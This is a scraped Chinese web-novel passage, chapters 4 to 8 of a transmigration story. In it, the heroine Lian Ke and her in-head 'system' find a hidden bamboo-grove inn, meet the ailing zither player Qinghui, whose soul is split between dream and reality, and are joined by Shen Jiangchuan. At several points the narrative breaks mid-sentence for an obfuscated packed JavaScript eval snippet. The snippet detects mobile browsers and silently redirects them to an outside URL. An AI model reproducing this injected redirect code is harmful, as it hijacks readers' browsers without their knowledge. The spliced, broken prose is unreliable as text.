在太阳彻底下山之前,连珂顶着一头彩霞,总算拼出个像样的画面。 而沉默的系统无论怎么用数据,也分析不出:水的味道,尤其是画里喝不到的水的味道,到底和水流向有什么关系? 拼完后,画面里流水潺潺,清辉洒满水面;高山耸峙,隐于月光背面。 由此,连珂看出来了问题,自言自语道:“看这样子,应该不止一种拼法吧。” 系统在连珂芯片里跃跃欲试,只等连珂开口问,它就会用最低的积分算出最多的解法。 但连珂的选择是直接莽上去。 连珂把画展开,调整位置贴在墙上。 不出多时,她把耳朵也一并贴上去,满意地听到了墙另一边突兀地出现流水的声音。 然后,墙壁缓缓移动,露出后面的真貌。 虽然被浓雾遮挡得太过严实,其实也看不见什么就是了。 连珂出发前特地找了一下贴在墙上的画,可惜早已不见踪影。大抵是用一次就销毁了,下次还会有新的机关。 她一脚踏入其中,后脚刚收回身侧,身后的墙壁就迅速归位,堵住了回去的路。 与此同时,她本人也被浓雾淹没。 一般情况下,这种人为制造的雾气如果不是为了营造仙气飘飘的氛围,就是里面藏着瘴毒。 好在有“百毒不侵”的技能傍身,连珂毫无畏惧,在双目不可视物的情况下,仍能从容地听着水声辨人下一步路该如何走。 系统一路在连珂脑中制造警报,不是担心连珂迷失在雾里,而是…… “宿主,这水千万不能喝啊!再百毒不侵也不是这么祸害的,技能是有耐久度的!” 不得不说,警报确实有用,硬生生止住了连珂探出的手与低下的头颅。 “咳咳,放心,我还不至于那么渴不择水。”她迅速抬头,装作若无其事地继续走。 至于系统说的什么技能耐久度,连珂还真就没担心过。 每个世界独立计算耐久,这个世界耗完了,下个世界开机自动回满。 等等……下个世界吗? 连珂摇头,继续走下去。 这段路并不算很长,只是比较坎坷。一般人走下来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045283|162692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大抵要么被瞬间移动的墙夹成肉饼,要么掉进水里葬身鱼腹,要么在毒雾中窒息尸骨无存……不外乎这几种老套的结局。 对连珂这个老油条来说,这些实在很无聊,一点新意都没有。 雾气将散,眼睛模糊能接触到一点光亮,连珂停下脚步,希望接下来能看到一些有趣的东西。 毕竟梦境的指引……对她来说算是睽违已久了。连珂仍然记得,除开这个世界,上次做梦的时候,她还是货真价实的人类呢。 思绪转瞬即逝,连珂缓步走出雾气,揉了揉久未视物的双眼。等差不多恢复后,再睁开眼睛,最先入目的是一片郁郁葱葱的竹林。 该说不说,青翠的绿色着实对眼睛有些益处,连珂瞬间有了点重见天光的实感。 由此,连珂开玩笑地和系统说:“从古至今的老经典设定了,清雅竹林配白衣公子,最好再来一架檀木制成的古琴。” 连珂本是调侃,系统却说:“宿主所言极是。” “诶?” 连珂随即静下心神,驻足聆听,很快听到了些许动静,便沉吟道:“山的那头有水……” 系统无语地纠正:“是琴声啊!宿主你可放过水吧。” “哦哦,琴声啊。”连珂回过神,颇感遗憾。 她把手指按在耳朵后方,稍微调节了一下对环境音的设置。很快,流水声渐渐淡去,取而代之的是清冽悠长的琴音。 实在过于经典,以至于连珂都懒得亲自走过去确认一遍。 于是,连珂直白问系统:“谁?” 系统持续无语:“说好的省积分呢。” 连珂叹气,摆出一副“孺子不可教”的沧桑神情,活像一个德高望重却家门不幸的长者,把系统看得发毛。 连珂语重心长道:“我先问你,是为了你好。不然啊,若你知道那人的身份后承受不住,当场死机,那总系统不就要来找我麻烦了吗?” “罢了,既然你不理解我的苦心,那就算我错付了。你就一辈子蒙在鼓里好了。” 这一番话被她说得那叫一个情深似海,要不是系统没有真实的身体,此刻高低得起一身鸡皮疙瘩。 系统不信邪地调用权限去查,又因为连珂主动说了“不用告诉我哈,是给你自己查的”,所以没用到积分。 下一秒。 系统发出尖锐爆鸣声:“男二还活着?!”随后就地光荣殉职。 连珂深感遗憾地捂住嘴,光看眼神还算得上沉痛,如果忽略手覆盖的上扬的嘴角的话。 “都说了,不要看的嘛……不听宿主言,殉职在眼前啊,我可怜的小系统。” 连珂假意叹惋了一番,确认系统暂时不会有动静后,便即刻动身,沿着琴声一路找去。 果然,还没走上几步,就看到了一个端坐在木制轮椅上的清瘦背影,在他面前还有一把架高的古琴。 虽然乍一看有些不伦不类,但连珂明白,这大抵是因为原作作者死活想不出,如何在古代用更优雅的方式呈现这个人设,所以只能这么将就着来。 似乎是听到后面有脚步声,那人停下了抚琴的动作。 连珂凭着最后一点良心,没让他费力地转动轮椅,而是自己主动走上前。 5. 第 5 章 归客 要说起眼前这位,那可大有来头。 若说沈绛川是小说中经典的童年悲惨所以爱情观偏执的男主,这位便是更为经典的——轮椅、病弱美人、温润君子、琴师、白月光等等一切古早要素的致命集合体。 俗称:传说中除了活着什么都会的白月光。 种种要素叠加在一起,构成了这位原作中早早归西的男二——清徽。 没有姓氏,甚至作为出场角色都不需要活着,只需一遍遍在其他角色的回忆中诈尸,提一遍就美化一遍,到最后恨不能当场给他建个庙供起来。 然而抛开书中的滤镜,连珂再次看向清徽,只想控诉原作在诈骗。 即使清徽本人看外表确实担得上一句光风霁月的赞词,无需多余装饰,一袭白裳便足够承其风雅,隔绝凡尘烟火。 又即使清徽的声音恰如他的琴音一般温润:“贵客上门拜访,不知所为何事。” 但连珂心里明白:今天发生的一切,十有八九都是因为这位“纯白无瑕”的白月光。 就算不提梦境,单说暗门后层层叠叠的毒雾和隐藏其中的致命机关,清徽就不可能是什么省油的灯。 连珂和他保持一定距离,似笑非笑地说道:“‘贵客’说不上,但兴许能成为个‘归客’。公子既邀我来此,又何故惺惺作态、明知故问。” 这话委实算不上客气。 清徽一怔,随即轻声道:“不知清徽做错了什么,让客人有此误解。但客人说的‘邀请’,在下确不知此事。” “嗯?” 连珂仔细打量清徽的神情,没看出什么异状,视线是齐平的,瞳孔也无变化。 可若清徽确实没有说谎,那在梦中邀请她来此的“清徽”,又是何人呢…… 清徽开口道:“客人方才言语提及‘归客’,想来是知情者。那么,客人所求何物?” “不归客”,是梦境中客栈的名字。 但连珂穿过毒雾进入竹林,也没看见什么可以被称作客栈的建筑,充其量是附近有些几层高的小竹楼,用来待客肯定是不够的。 连珂并不全然记得梦境,听清徽这套说辞,什么“知情者”…… 不好意思,她不知情,但她敢编。 连珂“哎呀”一声,仿佛才想起来什么重要的事情,苦恼道:“确有一事相求,公子琴音甚妙,不止悦耳更能入心,所以不知我是否有幸得以……” 她话音未落,就见清徽很自然地把手搭在琴弦上,应是听惯了这类说辞,以为她言下之意是想再听一曲。 然而连珂的话拐了个弯,笑眼望着他,说道:“不知我是否有幸,请公子为我算上一卦。” 清徽手指一顿,温声推辞道:“那或许要让客人失望了。卜算一道,在下不过一知半解,怕是难以为客人分忧。” “无妨,”连珂早料到他会推辞,自有另外准备的话术接上,“既然公子过谦,便只好由我来先行献丑了。” “清徽愚钝,不知客人何意。” 连珂说道:“很简单,在我提出请求之前,便自作主张给公子算了一卦。公子向来儒雅随和,想来不会在意我的冒犯吧。” 清徽脸上未有分毫愠色,只是温声道:“愿闻其详。” 这副逆来顺受的样子,反倒让连珂的良心悄悄长回来了一点。 连珂轻咳一声,一边回想着那些江湖骗子的模样,一边伸出两根手指轻拈,摆出十足的高深莫测的架子,再压低声音道:“观公子的面相,再察公子周身气质,真真非常人能比。” “虽非大富大贵,但也一身清白,一生顺遂。” 连珂边胡编边毫不心虚地想着:这句算不上蒙人,清徽在原作中也称得上一生顺遂的。 作者都没描写他有过什么病痛,甚至清徽坐轮椅都不是因为双腿有恙,仅仅是体弱,怕在外头站立久了就倒下,也确实站着就晕过。 所以真要说起来,清徽的病也就仅仅是作者赋予的病美人模版: 需要的时候,偶尔咳上几声,临死了再咳些血;再有需要的时候,从轮椅上挣扎着起身博些同情; 剧情过于平淡,就让他突发肺疾,呼吸不能自主;战斗过于顺遂,就让他在后方重病缠身,逼得在乎他的人留在身边照料,延误军机…… 对此,连珂一向认为:清徽这类书中的量产型病美人,就和被父母逼着装病的孩子没什么不同,都是被最亲近的人亲手折断了本可以飞上天空的翅膀。 不过真要对比起来,清徽实在算幸运的,除了剧情需要时咳些血,其余时间都在安静地弹琴,逝去时也是毫无痛苦地在梦中辞别。 等等,梦中辞别?梦境! 连珂本是为了编话顺带回忆原作的清徽生平,结果还真让她找到了点线索。 若按这个思路想下去…… 连珂重新看向清徽,发现后者正温和地抬眸,认真听着她胡编乱造的卦辞,就像在安静聆听着自己的命运。 连珂抿唇,把已到嘴边的直白话语咽下,临时编作一句:“夏花易败,散予清风自留香。入梦恰似世外客,幽蝶觅香,笑言故人归。” 紧接着就被自己突如其来的半点不押韵的伤春悲秋尬到,不住地在一边咳嗽。 然而,清徽听到这句却是若有所思,徐徐说道:“原是如此,客人在卜算一门自有造诣。说来惭愧,方才清徽见客人并未索要生辰八字,拈指手势又难以捉摸,还以为客人所谓卦辞是在说笑。” “未曾想,冒犯了大师。” “嗯?”连珂眨眼,有点不可置信。 这算是,蒙混过去了?靠两句酸词? 而且,清徽说着,竟认真朝连珂行了一礼以作致歉,连珂匆忙拱手回礼。 看那架势,要不是有个轮椅的设定拦着,清徽高低得起身鞠躬不可。 罢了,顺其自然吧,连珂心想。 二人互相行礼后,清徽又说道:“客人且随我来。” 连珂正犹豫要不要帮忙推一下,就见清徽启动了轮椅扶手上的按钮,之后轮椅便向前前行。 这本身没什么,不说现代,哪怕古代都有类似的可以自行运动的机关。 但是,能不能动起来是一回事,速度又是另一回事了。 无论何种设定,轮椅移动速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045284|162692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度快出残影都属实有些过分了吧?! 看着土地上留下的深深的辙痕,连珂很想陷入沉思,但此情此景,她也只能发动身法强行追上了。 万幸,当连珂先一步到达“不归客”的阁楼前,清徽的轮椅还差几步。 连珂呵呵一笑:“公子这代步工具,属实有点意思,快赶上我家的驴子了。” 被拴在落英镇的汗血宝马,莫名其妙打了个喷嚏。 清徽不解其意,亦以浅笑回之,开口毫无连珂话语里避免不了的夹枪带棒。 “客人见笑,这不过是清徽闲暇时做的小玩意儿。客人若喜欢,不妨稍待时日,在下新做好后,自给客人寄去。” 闻言,连珂还真认真想象了一下自己骑着轮椅飞檐走壁的场景,但低头看看自己结实有力能跑能跳的双腿,权衡一番,还是拒绝了。 说话间,连珂跟着清徽走进不归客内部。 梦境里的“清徽”曾跟连珂笑着说,不归客是他名下的一间客栈,专供闲人雅士在此休憩,希望她路过落英镇时,赏脸进去坐坐。 不过,连珂打量着不归客内部的装潢,压根没想到这和客栈有什么关系。 名字里同样有一个“客”字吗? 大厅零星摆着几个桌椅,根本找不到结账的去处。至于人嘛,店小二和客人一概没有。 清徽看出连珂的疑惑,温声解释道:“近来生意很少,我便把下人都辞退了。” “所以以前,这里真的开张过?” 连珂对此依旧抱有怀疑,哪怕是荒废了,也不该变成如今这样啊,一点客栈的样子都看不出来。 清徽给出了肯定的答复,“是的,半年前,归客客栈还很热闹,时常有游侠逸士暂居于此,也有一些琴师不远万里前来与我论琴。” 连珂这下彻底愣住了,脱口而出:“归客客栈?不是不归客?” 清徽也是一怔,不解道:“这……哪有人会给自家客栈起‘不归’这样不吉利的名字呢?” 见他神色不似作假,连珂当机立断掐了自己手心一下。 有痛觉,不是梦。 可是……这算什么? 清徽看着她突变的脸色和奇怪的举动,关心道:“客人可是身体有所不适?” 连珂揉了揉眉心,今日经历的一切如同走马灯一般在她脑中展开。 梦境,画作,暗门,毒雾,竹林,君子,不归客,归客…… 她想到什么,连忙问道:“’知情者‘是什么意思?所求何物呢?客栈到底是做什么的?” 清徽虽是不解,但仍是一一答道:“知情者……是这个措辞让客人误会了吗?归客客栈在竹林深处,远离市集,名声不显。是故来者多是清徽旧时好友,或友人之交,像客人这样的生面孔,实在很少得见。” “所求何物……客人也见到了,这竹林里的客栈本就不为盈利,仅仅是为了给过路人、失意者一个休憩之所。有所求才会特意寻来这里,寻个清净之所在,暂且免去尘世喧嚣。” 清徽打量着连珂愈发不对劲的神色,有些担忧,但连珂没有叫停,他便继续如实相告。 6. 第 6 章 交易 “客人是少见的生面孔,更难得的是一身恣意风华。归客客栈来来往往,本是清风不扰尘,归客莫相留。而客人的气度不像被世俗排异而回归自然的雅士,更似不歇的明火。” 清徽说到这里,顿了顿,“是故清徽心下好奇,客人来此竹林,所求为何。” “却不曾想,客人说是受在下邀请而来,还出言……”清徽敛眸,许久才继续说道,“指责在下……惺惺作态。” 连珂扶额,若放在之前,清徽摆出这副姿态,说这类话,她可能会觉得清徽又在装。 但现在……哈啊,她算是领会到原作钦点的纯白无瑕的白月光的威力了。 连珂此时不得不承认:确实是她对不起人家,一开始那么怀疑他,说话也很不客气。 因为怀着些许愧疚,连带着地,连珂甚至觉得清徽都变得好像没有那么不食人间烟火,语气带上了几分委屈。 应该是错觉吧,连珂在心里这么宽慰自己。 “清徽一直到现在,都不知道自己做错了什么,惹得客人不快。” 连珂一时无言。 这时,芯片有了异动,没多久,熟悉的声音在连珂脑中响起:“宿主,好玩吗?” 连珂一边面对着清徽低垂的浅色眼眸,一边被迫接收着系统狂轰乱炸的抱怨。 她随便找了个由头糊弄过去,只说是舟车劳顿,想先休息。 这话任谁听都知道是个推辞,但清徽没再说什么,带她去二楼一间收拾好的客房。 连珂从衣服里掏出几两碎银,一股脑塞给清徽,现在当务之急是应付系统。 清徽没有接过银子,只是说道:“客栈许久未有来客,这久违的一单生意便免了花销,当是结个善缘。” 连珂没再强求,能省下一点银子也好。 更何况,按刚才的信息量,连珂不太确定:现在的“归客客栈”真的还需要银钱吗? 进了房间,连珂瘫坐在床上,颇有些生无可恋地看着头顶的天花板。 糟糕,她真的很不喜欢推算 系统:“呵呵。” 连珂无语:“行了,你别再给我添乱了,不就让你紧急维修一阵子吗。” 好在系统有点良心,吵归吵,倒是没有像之前那样反噬,弄得头痛欲裂。 系统:“宿主,这……” 未等系统说完,连珂打断:“我真没有恶意引导你,我就算提前和你说明情况,你也免不了返厂的命运。” “更何况,我对现在的情况也不是百分百了解,充其量百分之十。” 系统:“这个世界出了巨大的bug,而且不止一个。” 连珂“嗯嗯”附和,心不在焉道:“看出来了。” 系统:“男二复活的事,非同小可。” 连珂的眼神一直在客栈内部徘徊,听到这话,也只是敷衍地点头。 系统等待了一会儿,问道:“宿主在思考什么?” 连珂拄着下巴,忽然笑了,低着头看不清神情,半开玩笑地说道:“这是什么局啊,鸿门宴吗,专等我以身入局?” 系统:“我不明白宿主的意思。” 连珂:“从男主莫名其妙觉醒,到女主不明原因昏迷,再到男二跨越生死之间……这桩桩件件,不是bug就能解释的吧?” “系统,我可以信你吗?” 连珂难得有了正经的语气,说道:“不是同样作为快穿公司的一员,同事之间的信任,而是朋友,甚至家人?” “毕竟我和你走过了快两千个世界,我看着你从初级系统一路升级,你也看着我从临时工转正,这点情谊还是有的吧?” 系统沉默了很久。 久到连珂以为它不会回答。 然而系统回答了:“没有宿主,就没有今天的我,我可能现在已经变成一个废案被销毁。但……” 前面的话说得挺好听,也是事实。 不过“但”字一出来,连珂便明白系统的选择了。 “行吧,我不怪你。那不扯更高的关系,单纯作为同事,你愿不愿意帮我点小忙?” 系统又是一阵沉默。 如果它是纯粹的人工智能,不会有这样情绪化的失误。 可惜,虽然系统本统不一定知道它的内核,但连珂清楚得很: 到底曾经是个活生生的人,被洗清了记忆再套个机械壳子,也不会是纯粹的机械。 于是连珂在赌,赌那一点人性能否向她偏移。 果然,系统避重就轻,没有正面,而是反问道:“宿主向我问这种问题,不怕被总系统处罚吗?” 连珂笑而不语,指指客栈窗外的竹林。竹林本身没有意义,所以系统稍加猜测,就明白连珂指的是拦住去路的毒雾。 芯片传来“滋滋”的电流声,连珂知道,系统在动摇。 它被强行维修重启,总系统却直到现在也没有反应。这只能说明,眼下连珂所处的空间有古怪,一定程度上可以屏蔽外界。 如果有什么不该说的话,现在就是最好的时机。 不然等总系统反应过来,他们可能就再也没有机会谈这种不被允许的话题了。 “滋滋”的电流声还在愈演愈烈,直到发出一声弦绷紧而断的撕裂音。 而后,是系统夹杂着电流的声音:“宿主到底想做什么?” 这么问,便是事情有转机。 连珂抓住机会,先给系统打了一剂强心针:“放心,我不需要你背叛公司,也不需要你泄露什么机密,真的。” 系统:“嗯。” 机械的语气难以捉摸,但连珂凭着默契,硬是听出点半信半疑。 不过,有一半的信任也够了。 连珂比了两个手指:“你只需要回答我两个问题就好,回答以后,咱俩就不再掰扯什么我救你、你成全我的关系,如何?” 又是熟悉的电流“滋滋”的声音,虽然对连珂本身没什么影响,不过难免有点头皮发麻。 系统:“可以,但要等价交换,宿主问完后,我也会问宿主两个问题。” 连珂爽快地答应了,交易成立。 下一秒,她从床上坐起来,正色问道:“第一个问题,你参与了吗?” 问的没头没尾,但若系统明白她在说什么,无论“是否”都足够说明问题了。 系统:“是。” 好的,连珂记下。 “第二个问题,这里,是原作对应的世界吗?就是那个……《君王追妻,帝师慢点跑》?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045285|162692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 系统这次久久没有回复。 连珂正打算把这阵沉默算作问题的回答,系统说:“不完全是。” “那就是平行世界?”连珂追问。 系统拒绝回答:“宿主,说好的两个问题。” 于是连珂没再纠缠,继续看天花板,“该你了。” 系统:“宿主对这个世界有另外的期盼?我是指,超出任务完成的期盼。” 连珂:“是。” 系统:“宿主对现在发生的一切只是半知半解,走一步看一步?” 连珂失笑:“不然呢,你见过我什么时候还列张表决定我下一步如何做吗。” “好的。” 等价交换完毕。 连珂率先总结:“那私交就到此为止,总系统发觉后,你不把这段对话上报。我呢,也不再指望你给我任务之外的额外帮助,对吧?” 系统补充道:“必要的任务引导、数值、积分商城等等功能并不会因此受损。” “比如,你还是可以告诉我目前世界有重大bug,等我继续推进任务,也能获得真相。但真相不能真从你嘴里说出来,对吧?” 系统:“是的,宿主能理解就好。” 连珂点点头,“所以,你维修过来后应该更新了模块。关于男二的事,现在作为正常任务绑定关系,你能告诉我多少? 系统给出必要提示信息:“男二确实是活着的,但不是确实活着的。” “……哈?” 如果不是了解系统必定不像自己那般无耻,连珂真会觉得系统在逗她玩。 保险起见,连珂问道:“没了?” 系统肯定道:“没了。” “……那我之后可以正常和他交流吗?” 系统:“看宿主本事了。” 换句话说,有被总系统察觉到后关小黑屋的风险。 连珂对此表示:呵呵。 争吵告一段落,连珂“噗通”摔回床上。别的不说,床铺质量挺好。 想起前面兑换的鸭绒被了…… 算算时间,沈绛川肯定醒了,现在都不一定在那荒山上了,可能早就赶路回辰王府了。 连珂直到彻底闭上眼睡着前,脑子里还在想着:等把清徽和归客客栈的事情解决完,就得去京城丞相府看看昏迷的女主方锦瓷。 而且辰王府也在京城,到时候或许能和男主沈绛川再见个面。 “呦呵,这可齐活儿了,书中几个重要角色全在了。” 其余的角色,再要说起来,就是原作推女主方锦瓷下水的女二——丞相府庶女,方瑞荷。 至于女三女四男三男四,连珂印象不算深,反正一般对剧情推动力度也不大。 既然现在的攻略条件从男主好感度变成了任务推动进度,即如何让委托方:走到了大结局的真·原作女主方锦瓷满意。 那么,多接触几个角色总是好事。 以上种种,一切还需从长计议。 连珂思索间,不由得搂紧了身上盖着的绵软的被子,意识渐渐转向困顿。 这样的感觉,若早个一周左右,连珂未必明白会发生什么。 但现在嘛…… 她知道,这是“做梦”的前兆。 7. 第 7 章 重逢 “清徽在此,恭候客人已久。” 面前人是如出一辙的清雅气质,朝她躬身致歉,“先前种种,无意冒犯,望客人见谅。” “清徽?”连珂打了个哈欠,不知为何,她在梦中更容易犯困。 “是。” “那外面那个,归客客栈的是谁?” 清徽温声道:“客人想来已有猜测。” 他既然引起话头,那连珂也就直白讲了。 反正,系统寄宿的芯片在她身体上而非灵魂上,顶多是能查出她做了梦,但具体内容不一定能查出来。再说,反正闹掰了。 “无外乎平行世界,对吧?或者前世今生。你们是哪种?” 打量着清徽欲言又止的神色,连珂又提出第三个猜想:“两者都有?” 这回清徽点了头。 “有点意思。那么说说看,你来找我,又引导我去找另一个清徽,到底是想做什么?” 清徽道:“客人……先前是在下不察,乱作妄言,给客人添了困扰。” “在下不知,客人也非自由身,才提了这样无理的请求。而今后悔,却也无从弥补。” 这话说的委实委婉,按连珂的理解,大抵是梦里的清徽没料到她身上还有个系统,如今知道了,担心自己让她担责。 连珂摆手道:“来都来了,自然是要一条路走到黑。至于你说的自由身嘛……我确实有所牵制,那你呢?不能走出梦境吗?” 清徽对上连珂探究的目光,摇了摇头,接着缓缓解释道: “我的身体已然羸弱不堪,难以承托完整的灵魂。要勉强维系生命,只能将魂魄一分两半,一半游弋梦境,另一半滞留现实。” 连珂陷入沉思:“……我依稀记得,这剧本和奇幻没什么关系吧?” 这句吐槽说的不算大声,但清徽还是听见了。 虽然不解连珂口中的“奇幻”是什么意思,但清徽还是尽力解释下去: “即使这般苟延残喘,缺魂之人仍为世所不容。现实里的另一半魂魄也渐渐迷失,连着归客客栈所在的竹林也被屏蔽其中。” 连珂:“换句话说,另一个清徽,以及他所在的地方,其实是在生死交接之地?生人轻易见不到他,或者说,这个世界的本土居民很难看到他、甚至想起他。” “客人果然见多识广。”清徽有些意外,黯淡的眸子一下子有了些许希望的光亮。 连珂避开他的视线,讷讷道:“这桥段确实看过不少,但真的不该出现在现在的剧本里啊。” “所以,清徽,你的诉求是什么?” 清徽思索片刻,缓缓道:“还两方世界一个周全。” “你要什么样的周全?” 看清徽又要来个“但笑不语”,连珂提前打断施法,制止道: “停,这入梦也不是什么信手拈来的事吧?代价都付了,只为给我提供个谜语,未免有点太浪费了。” “至少,你得说清楚‘不归客’和‘归客’的关系,以及梦境结束后,我到底能为梦中的你和现实的你做什么吧?” 想了想,连珂严谨地补充道:“虽然我不一定照你说的做,我也有自己的考量和难处。但你若连说都不说,就未必能找到下一个符合条件的人选了。” 清徽想了想,推辞道:“世界的真相,客人迟早会知道的,但不能是通过我。” 类似的话,连珂不久前才在系统那里收到一回。 这下倒好,又听一遍。敢情一个两个的都遵守知情者不言原则,徒留她原地发懵。 这么一想,连珂脸色就没那么好看了,转身就打算走,大不了蛮力破除梦境。 不得不说,这用来还价的技巧确实屡试不爽。连珂还没装模做样走出几步,就听到后面一声急切的“客人且慢!” 连珂停住脚步,却没有转身,等一个能让她满意的回答。 清徽低声道:“客人不必如此试探……在下亦有难言之隐,不能全言。” “‘归客‘与‘不归客‘的关系,在于客人先前提出的三个猜想。在客人没有到达那里前,清徽贸然提起,恐怕连这缕残魂都保不住,是以只得请客人见谅。” 些许衣摆晃动的声响,想来又是在行礼赔罪。 顺着清徽的话,连珂回忆起她的猜想,无外乎前世今生、平行世界,而最后被认可的是两者皆有。 所以清徽口中的“那里”,很可能是另一个平行世界,现在的连珂确实连边都没怎么摸着。 “客人要走,清徽不敢阻拦。” 连珂本来在等下文,结果又被这么一句搪塞过去,正烦躁间,忽见眼前明光乍现。 连珂惊醒,入眼的是归客客栈的天花板,同入睡前一般无二。 阳光透过窗户照在她脸上,与外界一般无二的温度,难以想象此地竟已半步踏入幽冥。 在连珂脱离梦境前一刻,耳畔仍有声音回荡:“此番耽误客人许久,清徽心中实在有愧。” “若客人有意,不妨捎上在下现实中的躯壳。清徽别无所长,但有琴技、医术傍身,兴许能为客人解忧。” 连珂长呼一口气,从床上坐起身,好险没直接翻个白眼。 直白说让她把另一个清徽带离生死边界,有那么困难吗?非得这么拐弯抹角。 但若事情能成,确实能解燃眉之急——都怪这几日经历的云里雾里的事情太多,连珂自己都快忘了她一开始的目的是撕悬赏,混进京城的丞相府见昏迷的大小姐方锦瓷。 身边有个真会行医的,总比她直接拿着库存的丹药卖弄玄虚好。 但……到底该怎么把清徽捞出去呢?或者说,带他离开的代价和他能提供的价值是否相符,这是个问题。 连珂现在攻略的目的是把剧情进度推起来,而清徽在原作中就没活过,就算真让他永远困在生死之间,好像也和原作没什么区别。 良心和理智剧烈碰撞间,一阵敲门声突兀地响起。 连珂看向门口,清了清嗓子正要出声。 却听得一句:“姐姐!是我呀,我终于找到您了。” 站在门扉另一边的不是料想中的清雅君子,而是某个更早见面的小崽子。 与此同时,系统再次发出尖锐爆鸣:“警告!检测到男主消失!发布紧急任务——请宿主在三天内将其带回原世界。” 连珂回了个“收到”, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045286|162692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好险保住了嗡嗡作响的大脑。 心中无奈叹息:好了,这下不得不两个一块儿带走了。 不过,连珂怎么也想不明白,沈绛川是怎么找到这里的。要知道生死边界可不是生人能轻易踏足的领域,尤其是这个世界的本土居民。 除非……沈绛川,一定程度上不再被世界认可。 怀着这样的疑惑,连珂推开门。 “小崽子,呸……是你啊。”连珂止住脱口而出的称呼,尴尬地找补了一下。 结果打量四周,愣是没找到人影。 出于某种直觉,连珂看向被推开的门扉,透过底下的门缝可以看到一双鞋和黑色的裤腿。 连珂连忙把门再重新打开,这才看到其后快和墙壁整个贴到一起的玄衣少年。 该说不说,身手不错,没有真的被压扁。 “我说我不是故意的,你信吗?”连珂一手扶额,一手好心地帮忙把人从墙上扒拉下来。 沈绛川被揪住后脖颈拽下来,安稳落地,擦了把脸上沾的墙灰,露出一个和初见一般无二的真挚笑容:“我自然是相信姐姐的。” 连珂没绷住笑,转头回房间,在床边的柜子上找到整齐叠放的干净帕子,递给沈绛川。 她没明说,只是指了指脸颊。 沈绛川连忙拿着帕子把脸擦干净,颇有些幽怨地看了眼在旁边忍俊不禁的连珂,“那绛川可真是谢谢姐姐了。” “嗯?绛川?” 他们可是没互换过姓名的,连珂记得这点,并且沈绛川先前也只是自称“我”。 “是呀。”沈绛川趁机看了眼铜镜,确定自己脸上没有残留的灰后,又拢了拢散乱的头发,迅速重新扎紧,这才开口: “姐姐就这么把人丢在山里,自己走了,绛川都不知道该怎么感谢姐姐才是。” “停一下,这自称是怎么回事?”连珂实在没忍住插了一嘴。 沈绛川奇怪地看了连珂一眼,随后展颜一笑,露出两颗小虎牙,颇为无辜地反问道:“姐姐不就喜欢这样的吗?” 看连珂满脸一言难尽,沈绛川这才收敛了一些,正经道:“来时有幸与姐夫攀谈了一会儿,便学习了一些口癖。” “是绛川……我误会了,”沈绛川改口,“我本意只是想和姐姐拉近一些距离,却没想到是走了一步错棋,还望姐姐见谅。” “哪来的姐夫,那是这家客栈的掌柜,还有,别学了,我头疼。” 沈绛川从善如流地应道:“原来如此,是我想当然了。不过看那般神仙气度,真是与姐姐相配。” 连珂无意将这个话题发展下去,摆出一副若有所思的模样,“所以,绛川,是你的名字?” “是啊,不过我的名字沈绛川,姐姐应该早就知道了吧。倒是姐姐,还未曾跟我提起过您的姓名。” 别说沈绛川了,两个清徽也都不知道呢。 连珂从未有过在任务世界说出真实姓名的经历,此时难免有些迟疑。 脑子里无数化名一闪而过,但这次毕竟使用的是自己的身体。 “连珂。连接因果的‘连’,莹莹珂雪的‘珂’。”良久,她听到自己这样开口说道。 8. 第 8 章 吃醋 沈绛川听罢,由衷说道:“是个很好的名字呢,和姐姐给我的印象一样。” 连珂只当他是在客套,礼貌地笑了两声做回应,并不放在心上。 “你怎么来到这儿的?” 沈绛川毫不犹豫地回答:“自然是追随姐姐的脚步而来。” 连珂不大相信他能在不被自己发现的情况下,追上日行千里的汗血宝马的脚步,此中必有隐情。 于是连珂继续问道:“从哪儿找到入口的?” 沈绛川依旧挂着纯良的笑容,徐徐说道:“姐姐留下的被褥上,有姐姐的气息,我给大黄闻过了,大黄好不容易才一路追过来。” 敢情是拿狮王当狗使了,这确实是百密一疏。 等等,连珂突然想到:照这说法,说不定现在沈绛川的狮子和她的马正拴在一处呢。 